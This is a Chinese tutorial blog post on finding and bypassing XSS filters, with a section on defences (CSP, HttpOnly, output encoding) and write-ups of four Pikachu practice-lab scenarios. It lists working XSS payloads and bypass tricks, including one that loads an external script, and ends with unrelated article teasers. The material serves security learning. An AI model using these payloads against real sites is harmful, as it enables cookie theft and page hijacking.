Web漏洞-XSS绕过和pikachu靶场4个场景(三)

★★实战前置声明★★
文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与学习之用,读者将其信息做其他用途,由用户承担全部法律及连带责任,文章作者不承担任何法律及连带责任。

1、XSS漏洞挖掘与绕过

1.1、XSS漏洞挖掘

数据交互(输入/输出)的地方最容易产生跨站脚本,最重要的是考虑输入、输出在什么地方。一般常会对网站的输入框、URL参数、COOKIE、POST表单、HTTP头内容进行测试。

1.2、手工测试XSS步骤

1、找到测试点,比如搜索框、留言板。

2、根据测试流程首先实验一些特殊符号的输入,发现可以正常输出,说明后端并没有进行相关的过滤。比如:'<>?"&/6666

3、如果有过滤则进行相关的绕过。

1.3、XSS常见POC

常见XSS语句<script>标签

<script>alert(1)</script>
<script src=http://baidu.cn/xss/xss.js></script>
'><script>alert(1)</script>

常见XSS语句<img>标签

<img src=x onerror=alert(/xss/)>
<img src=javascript:alert(1)> //版本,E7.0|IE6.0,才能执行  
<img src=# onmouseover="alert(1)">

常见XSS语句<a>标签

"> <a href=javascript:alert('xss') > xss</a>
"> <a href="" οnclick="alert(1)"> xss</a>
1.4、XSS漏洞绕过方法
// 1.大小写绕过
<ScRiPt>alert(1)</ScRiPt>
// 2.双写绕过
<sc<script>ript>alert(/xss/)</script>
// 3.反引号绕过
`` 绕过单双引号的过滤
// 4.关闭标签(利用<>关闭标签)
"> <script>alert(1)</script>
// 5.超链接标签
< a href= > 1 </ a>
// 6.图片链接绕过
< img src=1 onerror=alert(1)>
// 7.编码绕过
-- 八进制、十进制、十六进制编码、html实体编码、url编码、base64等   
// 8.空格、回车、换行符、tab、混淆

2、XSS漏洞防御

2.1、CSP内容安全策略

CSP全称:Content Security Policy,内容安全策略:禁止加载外域代码,防止复杂的攻击逻辑;禁止外域提交,网站被攻击后,用户数据不会泄露到外域;禁止内联脚本执行(规则较严格);禁止未授权的脚本执行。

2.2、设置HttpOnly

通过设置HttpOnly防止cookie被窃取

2.3、输入输出检查

前端js和后端(php)完善的过滤机制:输入验证和输出编码。也可以做硬件防护:WAF和数据库安全等。

< 转成&lt;
> 转成&gt;       
& 转成&amp    
" 转成&quot
' 转成&#39
2.4、白名单或者黑名单

白名单验证:检查用户提交的数据,只接受指定长度范围内,适当格式和预期字符的输入,其余一律过滤。

黑名单验证:过滤包含XSS代码特征的内容,比如:<、 >、script、#

3、pikachu靶场4个场景实验

3.0、总体思路说明

先随便填写提交,看界面展示数据,右击查看页面源码数据是与回显一样,然后根据数据结构确定构建poc提交验证。

测试验证内容

'<>?"&/6666
3.1、xss之过滤
3.1.1、正常操作

输入’<>?"&/6666,发现显示有点奇怪,按F12看源码发现内容回显,被单引号包起来,界面显示如下:

在这里插入图片描述

3.1.2、查看源码

输入如下内容,按F2看源码,发现输入的内容script标签的内容全部被过滤掉了

我测试一下'<script>alert(1)</script>

在这里插入图片描述

3.1.3、确定攻击poc

以下是验证通过的poc

<ScRiPt>alert(1)</ScRiPt>
<svg onload=alert(1)>
<body onload=alert(1)>
<input type=image src=1 onerror=alert(1)>

在这里插入图片描述

3.2、xss之htmlspecialchars
3.2.1、正常操作

输入’<>?"&/6666,界面显示如下:

在这里插入图片描述

3.2.2、查看源码

查看源码,发现输入的内容,是填充在a标签的href和标签内,有被编码过的,href是用单引号的。

在这里插入图片描述

3.2.3、确定攻击poc

攻击poc就可以采用a标签弹窗方式的语句了

<a href=javascript:alert('xss') > xss</a>

注意:只取href里面的部分,且alert()的内容需要用双引号,或者用数字的方式。

验证成功的poc

javascript:alert("test")
javascript:alert(123)

在这里插入图片描述

3.3、xss之href输出
3.3.1、正常操作

输入’<>?"&/6666,界面显示如下:

在这里插入图片描述

3.3.2、查看源码

查看源码,发现输入的内容,是填充在a标签的href内,没有被编码过的。

3.3.3、确定攻击poc

攻击poc就可以采用a标签弹窗方式的语句了

<a href=javascript:alert('xss') > xss</a>

注意:只取href里面的部分,且alert()的内容用单/双引号都可,或者用数字的方式。

验证成功的poc

javascript:alert('test')
javascript:alert("test")
javascript:alert(123)

在这里插入图片描述

3.4、xss之js输出
3.4.1、正常操作

输入’<>?"&/6666,不显示任何东西,换成123尝试,界面显示如下:

在这里插入图片描述

3.4.2、查看源码

根据上面显示的内容,定位到p标签有一个id=“fromjs”,尝试搜索关键字:fromjs,发现页面有一段javascript代码,因此采用尝试闭合标签的方式。

在这里插入图片描述

3.4.3、确定攻击poc

验证成功的poc

</script><script>alert(1)</script>
</script><svg onload=alert(1)>
</script><img src=1 onerror=alert(1)>

在这里插入图片描述

4、总结

本文是Web漏洞-XSS攻击的第三篇,至此XSS攻击相关内容就告一段落。当时在做pikachu靶场实验【XSS之js输出】时完全没有头绪,前面9个实验的POC都无效,后来问了我的老师给我提示,查看源码了尝试闭合标签的方式,就瞬间明白了。有时知道一个知识点,到实际运用还是会懵,因此需要多练。与大家共勉。

后面会有CSRF、SSRF,SQL注入等内容的分享,其中SQL注入内容会比较多。还有一些PHP,Python编程的基础知识,如果大家感兴趣的话,可以留言反馈,我再整理出来分享也可以。

5、资料获取

靶场环境搭建请参考《靶场环境搭建【XP、pikachu、dvwa、sqli-labs】》

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/219627.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

爆款开放式耳机哪一款性价比最高?3款热门机型推荐,小白速看

随着生活水平的提升&#xff0c;越来越多的人对蓝牙耳机的需求不再局限于简单的音乐欣赏。他们对耳机的要求越来越高&#xff0c;包括音质表现、舒适度、环境感知等方面也有极大的期待&#xff0c;正是因为这样&#xff0c;开放式耳机应运而生。 身为一个数码测评小博主&#x…

阻抗控制下机器人接触刚性环境振荡不稳定进行阻抗调节

阻抗接触 刚性环境为ke10000 虚拟阻抗为&#xff1a;kd100&#xff0c;bd10&#xff0c;md1 虚拟阻抗为&#xff1a;kd100&#xff0c;bd10&#xff0c;md5 虚拟阻抗为&#xff1a;kd100&#xff0c;bd10&#xff0c;md10 性能滤波函数的Bode图&#xff1a; bode(1e5/(0.000…

最高性能、最低错误率!一年沉寂,IBM王者归来

周一&#xff0c;国际商业机器公司&#xff08;IBM&#xff09;发布了首台量子计算机&#xff0c;它拥有1000多个量子比特&#xff08;相当于普通计算机中的数字比特&#xff09;。但该公司表示&#xff0c;现在它将转变思路&#xff0c;专注于提高机器的抗错能力&#xff0c;而…

Android12 WIFI 无法提供互联网连接

平台 RK3588 Android 12 问题描述 ConnectivityService是Android系统中负责处理网络连接的服务之一。它负责管理设备的网络连接状态&#xff0c;包括Wi-Fi、移动数据、蓝牙等。 在Android系统中&#xff0c;ConnectivityService提供了一些关键功能&#xff0c;包括但不限于…

RocketMQ详解

目录 1、RocketMQ 介绍1.1、RocketMQ 特点1.2 RocketMQ优势 2 RocketMQ基本概念2.1 NameServer2.1.1 NameServer作用2.1.2 高可用保障 2.2 Broker2.2.1 部署方式2.2.1.1 单 Master2.2.1.2 多 Master2.2.1.3 多 Master 多 Slave&#xff08;异步复制&#xff09;2.2.1.4 多 Mast…

高压放大器研究方向及其应用领域

高压放大器是一种电子设备&#xff0c;用于将输入信号的电压增大到较高的输出电压。它在许多领域中有广泛的应用&#xff0c;包括通信、医疗、科学研究等。 高压放大器的研究方向主要集中在以下几个方面&#xff1a; 提高功率效率&#xff1a;高压放大器需要能够提供足够的输出…

外贸建站要国外服务器吗?海外服务器推荐?

外贸建站如何选国外服务器&#xff1f;海洋建站用什么服务器好&#xff1f; 外贸建站已经成为企业拓展国际市场的一项重要举措。然而&#xff0c;一个关键问题摆在许多企业面前&#xff1a;外贸建站是否需要选择国外服务器呢&#xff1f;这个问题涉及到多方面的考虑因素&#…

RAR文件的密码保护如何设置和取消?

RAR文件是压缩包一种常用的压缩文件格式&#xff0c;对于这种文件&#xff0c;我们如何设置和取消密码保护呢&#xff1f; 首先我们要下载适用于RAR文件的WinRAR解压缩软件&#xff0c;然后在压缩文件的时候&#xff0c;就可以同步设置密码&#xff0c;选中需要压缩的文件&…

【@ConfigurationProperties注解的用处】

介绍 ConfigurationProperties 是 Spring 框架中的一个注解&#xff0c;用于将配置文件中的属性映射到 Java 对象的字段上。它的主要用途是简化配置文件与 Java 对象之间的映射过程&#xff0c;使得配置更加方便、可读&#xff0c;并提供类型安全的属性访问。 用途和特性 属性…

云计算与低代码:加速应用开发与创新的双核引擎

云计算与低代码是当前技术领域中备受关注的两大趋势。本文将探讨云计算与低代码的定义、应用领域以及它们如何协同作用&#xff0c;加速应用开发与创新的进程。 引言 随着科技的飞速发展&#xff0c;数字化转型已经成为了企业追求高效和创新的重要途径。在这个过程中&#xff0…

推荐一款优秀的json在线格式化校验工具

www.bjson.chat 这个工具是目前见过最好用的JSON工具&#xff0c; 页面简单&#xff0c;支持text&#xff0c;tree两种显示格式&#xff0c;关键词高亮显示支持亮白和暗黑两种风格最主要的是如果要格式化很长的json的话&#xff0c;这个工具还可以全屏显示&#xff0c;简直不…

【图论】重庆大学图论与应用课程期末复习资料2-各章考点(计算部分)(私人复习资料)

图论各章考点 二、树1、避圈法&#xff08;克鲁斯克尔算法&#xff09;2、破圈法3、Prim算法 四、路径算法1、Dijkstra算法2、Floyd算法 五、匹配1、匈牙利算法&#xff08;最大权理想匹配&#xff08;最小权权值取反&#xff09;&#xff09; 六、行遍性问题1、Fleury算法&…

Spring系列注解补充

JsonProperty JsonProperty 是jackson-databindjar包提供的注解&#xff0c;用于实体类的属性上&#xff0c;功能是把属性名称转换为另一个名称&#xff08;即 两个名称都指向同一个变量值&#xff09; 该注解主要用于实体类的属性上&#xff0c;作用可以简单的理解为在反序列…

前端依赖下载速度过慢解决方法,nrm 镜像管理工具

npm 默认镜像 &#xff1a;https://registry.npmjs.org/ 问题 使用 npm install 安装依赖的时候&#xff0c;受网络的限制&#xff0c;速度会很慢。 解决 使用国内镜像代理。 nrm nrm 是镜像源管理工具&#xff1b; 1. 安装 nrm npm install nrm --global# 查看镜像源列…

金蝶云星空对接泛微E9流程打通示例

泛微E9对接金蝶云星空&#xff0c;主要介绍由泛微OA发起审批后把审批结果和审批意见回传给到金蝶云星空财务进行做账处理。实现内部办公一体化&#xff08;使用案例场景&#xff1a;报销申请&#xff0c;付款申请等&#xff09;。 数据源系统&#xff1a;泛微OA-E9 泛微OA&…

搜维尔科技:AI时代,迈向2030元宇宙数字人戏曲教育数字化思维、战略与未来!

一场关于中国传统戏曲与数字媒体交汇的探讨之旅将于今日在清华大学开讲&#xff0c;本次活动旨在推动AI时代大背景下&#xff0c;利用元宇宙、数字人等创新技术焕发中国传统戏曲全新活力。 讲座以“AI时代&#xff0c;迈向2030元宇宙数字人戏曲教育数字化思维、战略与未来”为主…

「词令」2023年12月5日支付宝蚂蚁庄园今日问题答案是什么?12.5蚂蚁庄园今日问题正确答案

问题&#xff1a;我国哪个城市有“四面荷花三面柳&#xff0c;一城山色半城湖”的美誉&#xff1f; 选项&#xff1a;A、济南 B、泉州 答案&#xff1a;济南 解析&#xff1a;一城山色&#xff1a;千佛山在城南&#xff0c;为附近最高的山&#xff0c;全城人都能看到它苍翠的…

Docker镜像构建:技术深度解析与实践

目录 ​编辑 一、Docker镜像基础与优化 Docker镜像概念 Dockerfile详解 层级缓存机制 二、镜像构建的高级技术 多阶段构建 安全性考量 三、构建性能优化与调试 性能优化策略 构建过程调试 四、代码实战 实例&#xff1a;构建优化的Docker镜像 调试技巧 实例&…

敏捷开发迭代缺陷统计的重要性

在敏捷开发中&#xff0c;迭代缺陷统计具有重要性&#xff0c;对团队和项目具有多方面的影响&#xff1a; 早期发现和解决问题&#xff1a; 迭代缺陷统计允许团队及时识别和定位在迭代中出现的问题。这有助于早期解决问题&#xff0c;避免问题扩大化&#xff0c;并最大程度地减…

Java Websocket实现即时通讯功能入门教程

近年来&#xff0c;即时通讯&#xff08;Instant Messaging&#xff09;已经成为了人们日常生活中不可缺少的一部分。而Java Websocket技术则提供了一种简便高效的方式来实现即时通讯功能。本文将介绍如何使用Java Websocket来实现即时通讯&#xff0c;并提供具体的代码示例。 …